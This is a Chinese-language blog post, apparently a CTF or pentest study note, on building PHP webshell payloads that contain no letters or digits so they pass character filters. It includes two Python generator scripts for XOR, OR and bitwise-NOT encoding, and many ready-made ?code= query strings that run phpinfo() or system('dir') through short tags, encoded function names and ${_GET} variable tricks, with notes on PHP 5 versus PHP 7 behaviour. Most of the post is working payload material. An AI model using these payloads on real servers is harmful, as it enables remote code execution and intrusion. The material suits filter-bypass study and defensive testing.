无字母webshell | Bypass

h0cksr

发布于 2023-05-16 14:29:05

8910

发布于 2023-05-16 14:29:05

文章被收录于专栏：h0cksr的小屋h0cksr的小屋

无字母webshell-plus

Pation

短标签不需要分号闭合?code=?><?=phpinfo()?><?=system("dir")?>
eval执行代码相当于另外生成一个php文件,文件格式为有<?php ….. ?>所以可以通过短标签摆脱;的限制
异或和或运算时要将两个部分的参数用引号包起来?code=("%0b%08%0b%09%0e%06%0f"^"%7b%60%7b%60%60%60%60")();
{…}{0}里面的运算会执行且当运算结果为_GET时效果和_GET无异
linux的.表示当前的shell(如/bin/bash)
可以通过 ls /fl????? 匹配文件

方法一:异或运算^

方法一:或运算|

方法一+方法二获取脚本:

import string,urllib.parse
print(string.printable)
def get_chr(c,jud):
    for i in range(0xFF):
        for j in range(128):
            if (jud == "|"):
                if (chr(i | j) == c):
                    if (chr(i)not in disable) and (chr(j)not in disable):
                        return i,j
            elif jud == "^":
                if (chr(i ^ j) == c):
                    if (chr(i)not in disable) and (chr(j)not in disable):
                        return i,j

#根据过滤加入被过滤的字符
disable = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
print("disable_chars => ",disable)
jud = input("选择或运算(|)输入|,选择异或运算(^)输入^\n->\t")
while 1:
    c1 = ""
    c2 = ""
    inp = input("input Your string:\n->\t")
    for i in inp:
        a,b = get_chr(i,jud)
        a1 = str(hex(a)).replace("0x","")
        b1 = str(hex(b)).replace("0x","")
        if int(a)<16: c1 += "%0"+a1
        else: c1 += "%"+a1
        if int(b)<16: c2 += "%0"+b1
        else: c2 += "%"+ b1

    print("payload\t=\t(\""+c1+"\""+jud+"\""+c2+"\")")
    # ?code=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%04%09%09"^"%60%60%7b");
    # => ?code=("system")("dir");

方法三 : 取反运算~

<?php
code="phpinfo";
echo "\ncode\t(~".urlencode(~$code).")";

php5与php7的区别:

php5不支持($a)()这种方法动态解析调用函数;

在 PHP 5 中 assert() 是一个函数，我们可以通过f='assert';f(...);这样的方法来动态执行任意代码，此时它可以起到替代 eval() 的作用。但是在 PHP 7 中，assert() 不再是函数了，而是变成了一个和 eval() 一样的语言结构，此时便和 eval() 一样不能再作为函数名动态执行代码，所以利用起来稍微复杂一点。但也无需过于担心，比如我们利用 file_put_contents() 函数，同样可以用来 Getshell 。

异或运算^或运算|取反运算~方法都是先进行运算后得到函数字符串再动态执行函数的,想要进行运算得到目标字符串有以下方法(三种):

方法一 : 通过(…)执行运算

?code=(~%8F%97%8F%96%91%99%90)();

方法二 : 通过[…][0]执行运算

[]会执行里面的函数,然后得到的结果为一个数组,[][0]获得第一个成员变量(%ff取反得到的是false) 方法二payload生成脚本:

exp = ""
def urlbm(s):
    ss = ""
    for each in s:
        ss += "%" + str(hex(255 - ord(each)))[2:]
    return f"[~{ss}][!%FF]("
while True:
    fun = input("Firebasky>: ").strip(")").split("(")
    exp = ''
    for each in fun[:-1]:
        exp += urlbm(each)
        print(exp)
    exp += ")" * (len(fun) - 1) + ";"
    print(exp)

?code=[~%8F%97%8F%96%91%99%90][0]();
?code=[~%8F%97%8F%96%91%99%90][~%ff]();
?code=[~%8F%97%8F%96%91%99%90,0][~%ff]();
?code=[phpinfo,0][~%ff]();
以上都可行,以下不执行
?code=[~%8F%97%8F%96%91%99%90,0][1]();

所以可以通过[~%8F%97%8F%96%91%99%90][!%FF]()这种方法得到"phpinfo"字符串进一步执行phpinfo()函数

?code=[~%8F%97%8F%96%91%99%90][!%FF]();

方法三 : 通过{…}{%ff}执行运算得到{_GET}{%ff}

这个方法不会受到版本限制(php5或php7均可)

还可以通过?code=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%FF}();结合get传参的方法(%ff%ff%ff%ff^%a0%b8%ba%ab得到的结果就是_GET)执行phpinfo();

注:本地测试" var_dump(${_GET}); "可以正常输出,但是" var_dump({_GET}); "会报错

?code={%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
?code={%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(${%ff%ff%ff%ff^%a0%b8%ba%ab}{%fe});&%ff=system&%fe=dir

解释一下这个师傅的绕过手法：

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
即: 
${_GET}{%ff}();&%ff=phpinfo
//?shell=${_GET}{%ff}();&%ff=phpinfo

任何字符与 0xff 异或都会取相反，这样就能减少运算量了。注意：测试中发现，传值时对于要计算的部分不能用括号括起来，因为括号也将被识别为传入的字符串，可以使用代替，原因是 PHP 的 use of undefined constant 特性。例如{_GET}{a}这样的语句 PHP 是不会判为错误的，因为是用来界定变量的，这句话就是会将_GET自动看为字符串，也就是_GET['a']。

?code="phpinfo"();
?code=("phpinfo")();
?code=("php"."info")();
?code=(_GET[0])();&0=phpinfo
?code=[~%8F%97%8F%96%91%99%90][!%FF]();
?code=("%10%08%10%09%0E%06%0F"|"```````")();
?code=("%0b%08%0b%09%0e%06%0f"^"%7b%60%7b%60%60%60%60")();
?code=(~%8F%97%8F%96%91%99%90)();
以上方法在php5中都不能执行phpinfo()函数,但是php7中就可以

以下方法不受版本限制
?code=_="dir"?><?=`_`;
?code=_="phpinfo";_();
?code=_GET[0]();&0=phpinfo
?code=_=(~%8F%97%8F%96%91%99%90);_();
?code={%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}({%ff%ff%ff%ff^%a0%b8%ba%ab}{%fe});&%ff=system&%fe=dir

总结:一般都不会丧心病狂过滤(),所以php7中可以直接通过(…)(…)这种方式执行任意代码,但是php5就比较麻烦,如果和=可用还能则可以通过?code==(~%8F%97%8F%96%91%99%90);$\();执行代码

或者标准方法三也可以执行任意代码:?code={%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}({%ff%ff%ff%ff^%a0%b8%ba%ab}{%fe});&%ff=system&%fe=dir